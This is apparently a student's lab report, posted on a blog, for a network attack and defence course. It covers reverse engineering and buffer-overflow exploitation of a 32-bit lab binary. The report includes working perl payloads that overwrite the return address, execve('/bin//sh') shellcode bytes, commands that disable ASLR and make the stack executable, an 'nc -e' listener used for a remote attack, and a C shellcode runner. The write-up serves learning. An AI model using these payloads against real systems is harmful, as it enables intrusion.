Fork me on GitHub

逆向破解bof

实 验 报 告

课程:网络对抗技术

班级:2012 姓名:郭幸坤 学号:20201213

实验名称:PC平台逆向破解 实验日期:2023.2.28

实验目的

  1. 掌握缓冲区溢出的基本原理。
  2. 掌握反汇编工具、基础汇编语言和gdb调试ELF文件的方法。
  3. 掌握预防缓冲区溢出的方法,并且遵循这些方法。

实验内容

  1. 通过修改ELF文件的方式,运行shellcode
  2. 通过缓冲区溢出的方式,运行shellcode
  3. 通过缓冲区溢出的方式,注入shellcode并运行shellcode
  4. 远程攻击带有缓冲区溢出漏洞进程的主机

实验过程

(零)几个机器指令

  1. NOPCPU空转(机器码:0x90)

  2. JNE:Jump if Not Equal(机器码:0x753. JE: Jump if Equal(机器码:0x744. JMP:无条件转移指令。
    JMP 类型      释义                     机器码                                    
    段内短直接    JMP SHORT mylabel         0xEB [signed byte]                 short 8bits ±126字节的地址范围
    段内近直接    JMP NEAR PTR mylabel      0xE9 [low byte][high byte]         word 16bits ±32768字节的地址范围
    段间远直接    JMP DS:[mylabel]          0xEA [IP low][IP high][CS low][CS high]     double word 32bits 全局
    段内近间接    JMP BX                    0xFF0xFF25 0xFF15...)                                                                               
  
  5. CMP:比较指令(机器码:0x39 0x3C 0x83......)

(一)修改ELF文件从而运行shellcode

能修改ELF文件,意味着我们能随意操控这个程序。本次的目标是运行ELF文件中已经存在的shellcode。

思路:

  1. 找到shellcode的起始地址
  2. 在程序运行过程中,把eip寄存器的值变为shellcode的起始地址

修改eip寄存器值的方法:

  1. 用ret给eip赋值
  2. 用jmp给eip赋值
  3. 用call给eip赋值

过程:

  1. 使用objdump反汇编ELF文件“pwn1213”,找到getShell函数的地址
   objdump -d pwn1213 | more       #反汇编,使用more阅读结果
           
   /getShell                       #使用more的搜索功能找到getShell函数
           
   0x0804847d                      #getShell函数地址

  1. 使用vim改写ELF文件,把call foo改成call getShell,从而使eip的值为 0x0804847d
修改call指令的目标地址为getShell函数

    objdump -d pwn1213 | more

    /call                           #找一个离shellcode比较近的call指令 ==> main函数中的call指令  ==> e8 d7 ff ff ff

   call指令实质是对当前eip寄存器(存储了call的下一条指令的地址)进行add操作。因此call指令跳转范围有限。

   计算需要跳转的距离:getShell地址 - call下一条指令的地址 = 0x0804847d - 0x00484ba = -61 = FFFF FFC3
           
   最后修改ELF文件

   vim -b pwn1213                  #vim打开二进制文件

   %!xxd                           #使用xxd查看二进制文件

   /d7                            #搜索main函数中的call指令 “e8 d7 ff ff ff”
           
   改为e8 c3 ff ff ff

   %!xxd -r                        #转换回ELF二进制文件,保存退出
   
   运行修改后的程序,拿到Shell
       

  1. 方法二:把call foo()改成jmp getShell(),也能成功。

(二)利用缓冲区溢出运行shellcode

思路:

  1. 找到有缓冲区溢出漏洞的代码
  2. 计算缓冲区长度(反汇编)
  3. 尝试构造字符串覆盖返回地址
  4. 将返回地址覆盖为getShell的地址

过程:

  1. objdump反汇编看看都有哪些函数。
    发现foo()函数中的gets()函数可能存在缓冲区溢出漏洞。
  
    getShell()的地址是0x0804847d
  1. 计算一下预设的缓冲区大小。
    objdump -d pwn1213 | less
    /foo

    08048491 <foo>:
     8048491:       55                      push   %ebp
     8048492:       89 e5                   mov    %esp,%ebp
     8048494:       83 ec 38                sub    $0x38,%esp
     8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
     804849a:       89 04 24                mov    %eax,(%esp)
     804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>

    可以看到把-0x1c(%ebp)这个地址传参给了gets()函数。  0x1c == 28

    换言之如果gets()接受28字节的数据,就会到(%ebp)。

    32字节的数据就会覆盖%ebp的值,36字节的数据就会覆盖返回地址。
  1. 构造36字节的数据
    先输入一个11112222333344445555666677778888abcd,爆出Segmentation fault,说明缓冲区溢出确实可行。

    再用gdb看一下爆Segmentation fault时的寄存器的状态

    gdb pwn1213

    r
    11112222333344445555666677778888abcd

    info r

    eax            0x25                37
    ecx            0xffffffff          -1
    edx            0xffffffff          -1
    ebx            0x0                 0
    esp            0xffffd0f0          0xffffd0f0
    ebp            0x38383838          0x38383838
    esi            0x1                 1
    edi            0x8048380           134513536
    eip            0x64636261          0x64636261
    eflags         0x10246             [ PF ZF IF RF ]
    cs             0x23                35
    ss             0x2b                43
    ds             0x2b                43
    es             0x2b                43
    fs             0x0                 0
    gs             0x63                99

可以看到eip正好是最后四个字符“abcd”ascii码的倒序。说明最后4个字符覆盖了返回地址。
  1. 将最后4个字符换成getShell()函数的地址
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' | ./pwn1213    #直接报错退出了

    关键是命令还没输入。要把 stdin(cmd)转为第一个命令的输出,这样才能变成 pwn1213的输入。

    cat命令正好合适

    (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"';cat)|./pwn1213

    gets()函数是行缓冲,上面这个payload输入之后,还要回车一下。直接加一个换行吧。

    (perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn1213

    成功Get Shell

(三)利用缓冲区溢出写入一个shellcode并运行它

思路:

  1. 找一个shellcode
  2. 把shellcode写入堆栈
  3. 计算shellcode地址
  4. 运行shellcode

过程

  1. 准备一个shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
  1. 写入缓冲区

一般来说都是往高地址端(栈底)写入。

一是因为shellcode的首地址比较好计算,就在返回地址的后面,0x8(foo函数的%ebp);

二是因为如果能找到jmp esp跳板,就可以不用费力计算shellcode地址了。

perl -e 'print "11111111222222223333333344444444\x返\x回\x地\x址\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > hack.bin
  1. 计算shellcode地址

shellcode就在运行foo()函数时的0x8(%ebp)

先把地址随机化关了。不然写入的shellcode的地址就不固定了。

  sudo su

  echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

  echo "2" > /proc/sys/kernel/randomize_va_space //开启地址随机化

再用gdb看一下foo的ebp的地址

终端1:
    ./pwn1213
终端2:
    ps aux | grep pwn1213
    
    20191213    9234  0.0  0.0   2516   736 pts/1    S+   06:05   0:00 ./pwn1213
    20191213    9276  0.0  0.1   6296  2260 pts/0    S+   06:05   0:00 grep --color=auto pwn1213

    gdb
    attach 9234
    disass foo

    Dump of assembler code for function foo:
     0x08048491 <+0>:     push   %ebp
     0x08048492 <+1>:     mov    %esp,%ebp
     0x08048494 <+3>:     sub    $0x38,%esp
     0x08048497 <+6>:     lea    -0x1c(%ebp),%eax
     0x0804849a <+9>:     mov    %eax,(%esp)
     0x0804849d <+12>:    call   0x8048330 <gets@plt>
     0x080484a2 <+17>:    lea    -0x1c(%ebp),%eax
     0x080484a5 <+20>:    mov    %eax,(%esp)
     0x080484a8 <+23>:    call   0x8048340 <puts@plt>
     0x080484ad <+28>:    leave  
     0x080484ae <+29>:    ret    

     b *0x080484a8        #把断点设在foo()的gets()之后即可,因为进程已经被阻塞在gets()
     在终端1敲一下回车,让gets()结束
     c
     info r
  
    eax            0x45                69
    ecx            0xf7e1e9b8          -136189512
    edx            0x1                 1
    ebx            0xf7e1cff4          -136196108
    esp            0xffffd05c          0xffffd05c
    ebp            0x34343434          0x34343434
    esi            0x80484d0           134513872
    edi            0xf7ffcb80          -134231168
    eip            0x80484ae           0x80484ae <foo+29>



  shellcode地址 = 0x4(%esp) = 0xffffd05c + 0x4 = 0xffffd060
                         
  1. 替换payload中的返回地址为shellcode地址
    结尾再加一个换行符,让foo()的gets()不阻塞。

   perl -e 'print"11111111222222223333333344444444\x60\xd0\xff\xff\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x80\xd0\xff\xff\x00"'>input

    设置堆栈可执行
    
    execstack -s pwn1213 
    
    注入payload,Get Shell

    (cat hack.bin;cat) | ./pwn1213

(四)远程攻击运行了pwn1213的主机

20201213 NAT ip 192.168.204.116

kali NAT ip 192.168.204.114

20201213监听命令

sudo ufw allow 1213                //放开1213端口

nc -lvnp 1213 -e ./pwn1213

在Ubuntu上用nc连接kali 1213端口,并发送payload,试图用缓冲区溢出攻击,拿到shell

(cat hack.bin;cat) | nc 192.168.204.116 1213

参考资料

jmp直接跳转和间接跳转

jmp短跳近跳长跳

Linux nc命令

shellcode基础

扩展

基于nc命令,编写一个在kali上能运行的机器码(反弹shell)并实施缓冲区溢出攻击。

先试试直接运行已有shellcode能不能行

vim test.c

int main(){
	char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
	void (*fp)(void);
	fp = (void*)shellcode;
	fp();
} 

gcc test.c

./a.out

爆出段错误 segmentation fault ???

能在pwn1213中缓冲区溢出运行成功,不能在kali中直接运行?

file 1213

pwn1213: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

果然pwn1213是一个32位ELF程序,而kali是64位

sudo apt-get install lib32readline-dev

gcc -m32 test.c
execstack -s a.out
./a.out

接下来改机器码,给execve换个参数

先贴一张原shellcode的汇编代码

img

先试试把execve(/bin//sh,/bin//sh,0)换成execve(/bin//ls,/bin//ls,0)能不能运行

l的ascii是0x6c

把\x68\x2f\x2f\x73\x68(push //sh)改成 \x68\x2f\x2f\x6c\x73(push //ls)

int main(){
	char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
	void (*fp)(void);
	fp = (void*)shellcode;
	fp();
} 

可以啊,成功执行了ls

posted @   郭幸坤  阅读(104)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
1
点击右上角即可分享
微信分享提示